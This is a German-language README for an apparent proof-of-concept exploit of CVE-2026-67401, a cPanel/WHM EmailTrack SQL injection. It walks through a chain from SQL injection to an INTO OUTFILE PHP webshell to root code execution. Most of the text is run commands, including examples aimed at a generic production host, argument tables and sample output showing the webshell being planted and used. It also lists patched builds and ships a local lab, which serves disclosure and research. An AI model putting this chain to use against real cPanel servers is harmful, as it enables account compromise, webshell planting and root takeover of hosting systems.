
Proof-of-Concept für CVE-2026-67401, eine cPanel/WHM EmailTrack SQL-Injection, die beliebiges Dateischreiben und Root-RCE ermöglicht, mit SQLi-Erkennungssonden und einem in sich geschlossenen verwundbaren Lab.
Proof-of-Concept für CVE-2026-67401, eine kritische SQL-Injection-Schwachstelle in der EmailTrack-Funktionalität von cPanel & WHM, die es einem authentifizierten Benutzer mit mailbezogenen Berechtigungen ermöglicht, beliebige Dateien zu schreiben und Code als root auszuführen.
Entdeckt von: Ali Mustafa Veröffentlicht: 8. September 2026 Komponente: EmailTrack (E-Mail-Zustellungsprotokollierung / -Tracking)
Versionen unterhalb der korrigierten Builds sind anfällig.
| cPanel-Build-Serie | Korrigierte Version |
|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Überprüfen Sie Ihre Version mit:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account.SELECT ... INTO OUTFILE in public_html/.| Datei | Beschreibung |
|---|---|
poc_sqli.py | SQL-Injection-Erkennung: boolean-basiert, zeitbasiert und UNION-Spaltenanzahl |
poc_full_chain.py | Vollständige Exploit-Kette: SQLi → INTO OUTFILE-Webshell → RCE → Root-Anleitung |
lab/vuln_server.py | Lokale Simulation des anfälligen EmailTrack-Backends (sicher, eigenständig) |
README.md | Dieses Dokument |
Das mitgelieferte Lab ermöglicht es Ihnen, die gesamte Kette ohne einen echten cPanel-Server auszuführen und zu validieren.
Alle Befehle werden vom Repository-Stammverzeichnis aus ausgeführt.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE und PHP-Webshell-Ausführung.18123)lab/htdocs)Lassen Sie dies in einem Terminal laufen und verwenden Sie ein zweites Terminal für die PoCs.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Argument | Beschreibung |
|---|---|
-H, --host | cPanel-Host, z. B. https://cp.example.com:2083 |
-u, --username | cPanel-Konto mit Mail-Berechtigungen |
-p, --password | Kontopasswort |
--param | Injizierbarer Parameter (Standard: account) |
--mode | detect (Standard), boolean, timing, union oder all |
--sleep | SLEEP()-Dauer für die Timing-Sonde (Standard: 3.0) |
--dump-version | Versuch, die DBMS-Version über UNION zu extrahieren |
--insecure | TLS-Zertifikatsüberprüfung überspringen |
Eine bestimmte Sonde ausführen:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Argument / Env | Beschreibung |
|---|---|
host (positional) | cPanel-Host oder Umgebungsvariable CPANEL_HOST setzen |
CPANEL_USER | cPanel-Konto mit Mail-Berechtigungen |
CPANEL_PASS | Kontopasswort |
--shell-base | Basis-URL, die public_html bereitstellt (wo die Webshell erreichbar ist) |
--insecure | TLS-Zertifikatsüberprüfung überspringen |
--no-escalate | Nach RCE stoppen; Root-Eskalationsanleitung überspringen |
SHELL_NAME (env) | Dateiname der Webshell (Standard: .mail.cache.php) |
Automatisch ausgeführte Phasen:
SELECT ... INTO OUTFILE schreibenid, whoami, SUID-Aufzählung, …)whmapi1, Cron, Task-Queue)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Hinweis: Der Standardwert für
--shell-baseentfernt den cPanel-spezifischen Port (2082/2083) aus dem Host. Wenn das Document Root auf einem anderen Port bereitgestellt wird, legen Sie ihn explizit fest.
Ausgabe, die gegen das mitgelieferte Lab erzeugt wurde:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Veröffentlicht für Bildungs- und autorisierte Sicherheitsforschungszwecke. Siehe Haftungsausschluss vor der Verwendung.